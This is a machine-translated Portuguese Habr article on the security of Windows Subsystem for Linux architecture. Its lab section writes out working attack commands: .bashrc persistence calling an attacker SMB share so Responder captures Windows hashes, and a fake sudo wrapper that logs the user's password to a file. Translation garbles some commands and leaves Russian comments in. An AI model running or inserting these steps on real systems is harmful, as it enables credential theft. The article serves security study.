Experimentos WSL. Parte 1

Olá, habr! OTUS lança um novo fluxo de curso em outubro "Segurança Linux". Antecipando o início do curso, compartilhamos com vocês um artigo escrito por um de nossos professores, Alexander Kolesnikov.

Experimentos WSL. Parte 1

Em 2016, a Microsoft apresentou a nova tecnologia WSL à comunidade de TI (Wdentro Ssubsistema para Linux), que no futuro permitiu unir concorrentes antes irreconciliáveis ​​​​que lutavam pela popularidade entre usuários comuns e avançados de sistemas operacionais: Windows e Linux. Essa tecnologia possibilitou a utilização de ferramentas do SO Linux em ambiente Windows sem a necessidade de rodar Linux, por exemplo, por meio de Multi-boot. No Habr você pode encontrar um grande número de artigos que descrevem os benefícios do uso do WSL. Porém, infelizmente, no momento da criação deste artigo, não foram encontrados estudos sobre a segurança de tal simbiose de sistemas operacionais neste recurso. Este post será uma tentativa de corrigir isso. O artigo falará sobre os recursos das arquiteturas WSL 1 e 2 e examinará diversos exemplos de ataques a sistemas que utilizam essas tecnologias. O artigo está dividido em 2 partes. O primeiro fornecerá os principais métodos teóricos de ataque do Linux e do Windows. O segundo artigo envolverá a criação de um ambiente de teste e a reprodução dos ataques.

WSL 1: características arquitetônicas

Para um mergulho mais preciso nas questões de segurança do WSL, é necessário determinar as principais nuances associadas à implementação do subsistema. Uma das principais tarefas do usuário resolvidas pelo WSL é a capacidade de trabalhar por meio de um terminal Linux em um host executando o sistema operacional Windows. Além disso, a compatibilidade oferecida era tão nativa que os executáveis ​​Linux (ELFs) podiam ser executados diretamente em um sistema Windows. Para atingir esses objetivos, foi criado um subsistema especial no Windows 10 que permite executar aplicativos Linux usando um conjunto de chamadas de sistema específicas - assim, foi feita uma tentativa de mapear um conjunto de syscalls do Linux no Windows. Isso foi implementado fisicamente com a adição de novos drivers e um novo formato de processo. Visualmente a arquitetura ficou assim:

Experimentos WSL. Parte 1

Na verdade, a interação com o sistema operacional Linux foi organizada por meio de diversos módulos do kernel e de um tipo especial de processo - pico. No diagrama acima, você pode ver que o processo em execução na instância Linux no host deve ser nativo e usar os mesmos recursos que os aplicativos normais do Windows. Mas como conseguir isso? Em projeto Ponte levadiça Foram desenvolvidos conceitos de processos para Windows que fornecem todos os componentes necessários do sistema operacional (dependendo de sua versão) para executar uma aplicação de outro sistema operacional.

Observe que a abstração proposta permitiu não focar no sistema operacional (em particular, Windows), no qual se espera o lançamento do processo de outro SO, e sugeriu uma abordagem geral.

Assim, qualquer aplicativo dentro do processo pico pode ser executado independentemente do kernel do Windows:

  1. Problemas de compatibilidade e tradução de chamadas de sistema devem ser resolvidos por provedores especiais;
  2. O controle de acesso deverá ser feito através do Monitor de Segurança. O monitor está localizado no kernel e, portanto, o Windows precisava de uma atualização na forma de um novo driver que pudesse atuar como provedor para tais processos. O protótipo do processo pico é apresentado esquematicamente abaixo:

Experimentos WSL. Parte 1

Como o sistema de arquivos Linux usa nomes de arquivos e diretórios que diferenciam maiúsculas de minúsculas, 2 tipos de sistemas de arquivos foram adicionados ao Windows para funcionar com WSL - VolFS e DriveFS. VolFS é uma implementação do sistema de arquivos Linux, DriveFS é um sistema de arquivos que funciona de acordo com as regras do Windows, mas tem a capacidade de selecionar distinção entre maiúsculas e minúsculas.

WSL 2

O WSL 1 tinha uma série de limitações que não permitiam que ele fosse usado para resolver a gama máxima de tarefas: por exemplo, ele não tinha a capacidade de executar aplicativos Linux de 32 bits e era impossível usar drivers de dispositivos. Portanto, em 2020, foi lançado o WSL 2, que mudou a abordagem de construção do subsistema. WSL 2 é uma máquina virtual otimizada que corresponde às características de consumo de recursos do WSL 1. Agora, dependendo dos problemas resolvidos pelo usuário do sistema operacional Windows, você pode selecionar a versão necessária do subsistema Linux. Para mitigar possíveis vulnerabilidades, o WSL 2 foi implementado baseado em Hyper-V no Windows 10. Dessa forma, o Windows tem a capacidade de executar o kernel do sistema operacional Linux de forma isolada. Vale lembrar que a versão 1 do WSL foi introduzida como um recurso beta que deveria mostrar o rumo do desenvolvimento do Windows nesta área, portanto a transição para o Hyper-V era inevitável. A arquitetura final fica assim:

Experimentos WSL. Parte 1

Nesta versão, os kernels Windows e Linux possuem recursos próprios e a interseção existe apenas no sistema de arquivos, mas esta interseção não é completa. A interação entre os sistemas de arquivos é realizada por meio de um wrapper cliente-servidor que funciona no protocolo 9P.

Hoje a Microsoft oferece a capacidade de alternar entre WSL 1 e WSL 2. Ambas as versões estão disponíveis para uso.

Segurança WSL

No momento, existem vários trabalhos que descrevem algumas abordagens para o uso de ferramentas legítimas de SO para atacar a comunicação entre subsistemas. Usaremos seus scripts para verificar a relevância dos ataques no momento da redação. Lista geral de ataques e cenários:

1. Implementação do sistema de arquivos: direitos de acesso, disponibilidade de diretórios compartilhados/mecanismos de troca de dados.

Pesquisa foi conduzida para determinar violações das regras de acesso de Linux FS->Windows FS, Windows FS->Linux FS. A pesquisa demonstrou a capacidade de modificar um determinado arquivo no sistema operacional de destino. Também foram feitas tentativas de substituir, criar duplicatas e excluir parte dos sistemas de arquivos.

Cenário:

  • A. Ataque do sistema operacional Windows - modificação de arquivos do diretório /etc do sistema operacional Linux.
  • B. Ataque do sistema operacional Linux - modificação de arquivos em diretórios: C:Windows, C:Program Files, C:Users<User>

2. Implementação da pilha de rede.

A pesquisa foi realizada a partir de exemplos de ataques do sistema operacional Linux ao Windows. Foram utilizadas as funcionalidades da pilha de rede, nomeadamente, mecanismos de autenticação em diversos recursos.

Cenário:

  • Abrindo acesso a uma porta ocupada em um sistema Windows
  • Abrindo uma porta sem os direitos apropriados
  • Executando shell reverso usando arquivo elf no sistema operacional Windows.

3. Ocultar o lançamento de processos de software malicioso usando o subsistema WSL.

A pesquisa foi baseada em um fato simples: os subsistemas de segurança não podem interceptar eventos em outro kernel que funcione usando um provedor legítimo do sistema operacional no caso do WSL 1. No caso do WSL 2, não há como visualizar os eventos que ocorrem em um kernel separado dentro de uma máquina virtual leve.

Cenário:

1) Inicie o aplicativo para acesso remoto ao sistema e visualize os eventos registrados.

Experimentos WSL 1: interceptação de hash (Windows)

Finalmente chegamos à parte prática. Primeiro, você precisa configurar o ambiente de teste. Todos os experimentos serão realizados em uma bancada com o Windows 10 2004 instalado. A imagem do Ubuntu 18.04 foi escolhida como imagem do sistema operacional para WSL. A imagem foi escolhida aleatoriamente e qualquer outra funcionará da mesma forma. Comandos para montar um estande:

Você deve primeiro lançar powershell.exe como administrador.

Para WSL 1 você precisa executar os comandos:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

  • Ubuntu.appx install —root #Установим образ
  • Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
  • Restart-Computer #Перезагрузим
  • Após reiniciar o suporte, você pode chamar o comando bash. Se tudo funcionou corretamente, você verá uma saída semelhante a esta no console do Windows:

    Experimentos WSL. Parte 1

    Usaremos a distribuição Kali Linux como máquina do invasor; todas as máquinas devem estar na mesma rede local.

    Vamos supor que temos acesso sem privilégios ao WSL em uma máquina Windows. Vamos tentar atacar o sistema operacional Linux chamando um comando do Linux. Para implementar o ataque, usaremos uma técnica simples de execução automática - adicionaremos nosso script para execução no ambiente Linux. Para fazer isso você precisa alterar o arquivo .bashrc.

    Em uma máquina com WSL executamos:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Em uma máquina Kali Linux, executamos:

    1. Responder -I eth0 -rdvw

    Em uma máquina Windows, vamos iniciar o bash.

    Estamos aguardando o resultado na máquina Kali Linux:

    Experimentos WSL. Parte 1

    Assim, obtivemos os hashes do usuário Windows através do subsistema WSL executando o comando no sistema Linux.

    Experimentos WSL 1: obtenção de senha de usuário (sistema operacional Linux)

    Vamos fazer mais uma experiência. Durante esta verificação, adicionaremos ao arquivo .bashrc vários comandos para obter a senha do usuário do sistema operacional Linux.

    Vamos iniciar o bash e inserir os comandos:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Para completar o ataque com sucesso, o usuário Sam precisa chamar sudo no terminal Linux. Depois disso, a senha do usuário do sistema operacional Linux estará no arquivo pass.txt:

    Experimentos WSL. Parte 1

    A implementação dos ataques foi dada apenas para informação teórica.

    A próxima parte do artigo descreverá a implementação do protocolo 9P, considerará a criação de um scanner para este protocolo e também realizará um ataque utilizando-o.

    Lista de literatura usada

    Experimentos WSL. Parte 1

    Consulte Mais informação

    Fonte: habr.com

    Adicionar um comentário